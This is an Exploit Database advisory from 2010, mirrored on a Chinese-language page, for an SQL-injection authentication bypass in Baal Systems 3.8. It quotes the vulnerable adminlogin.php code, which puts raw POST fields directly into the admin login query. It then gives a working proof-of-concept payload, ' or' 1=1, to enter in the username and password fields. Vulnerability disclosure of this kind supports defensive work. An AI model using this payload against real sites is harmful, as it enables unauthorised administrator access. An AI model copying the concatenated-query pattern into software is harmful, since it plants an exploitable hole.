Baal Systems 3.8 – Authentication Bypass

• Exploit Database
• 77 阅读

• 作者： cr4wl3r
  日期： 2010-02-07
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/11346/

• [+] Baal Systems <= 3.8 (Auth Bypass) SQL Injection Vulnerability
  [+] Discovered by cr4wl3r <cr4wl3r[!]linuxmail.org>
  
  [+] Vuln Code : 
  
  [adminlogin.php]
  
  <?php
  include("common.php");
  if (!empty($_POST['password'])) {
  	$username = $_POST['username'];
  $password = $_POST['password'];
  
  $query = "select * from {$tableprefix}tbluser where username='" . $username . "' and password='" . $password . "' and userrole='admin';";
  $result1 = db_query($query);
  $rows = db_num_rows($result1);
  $row = db_fetch_array($result1);
  if ($rows != 0) {
  if (session_is_registered("whossession")) {
  $_SESSION['who'] = "admin";
  $_SESSION['userrole'] = "admin";
  $_SESSION['username'] = $username;
  $_SESSION['usernum'] = $row["userid"];
  header("location:admin.php");
  } else {
  session_register("whossession");
  $_SESSION['who'] = "admin";
  $_SESSION['userrole'] = "admin";
  $_SESSION['username'] = $username;
  $_SESSION['usernum'] = $row["userid"];
  header("location:admin.php");
  } 
  } else {
  header("location:adminlogin.php?error=yes");
  } 
  } else {
  
  ?>
  
  [+] PoC : 
  
  [BaalSystems_path]/adminlogin.php
  
  
  username: ' or' 1=1
  Password: ' or' 1=1
  

  Python

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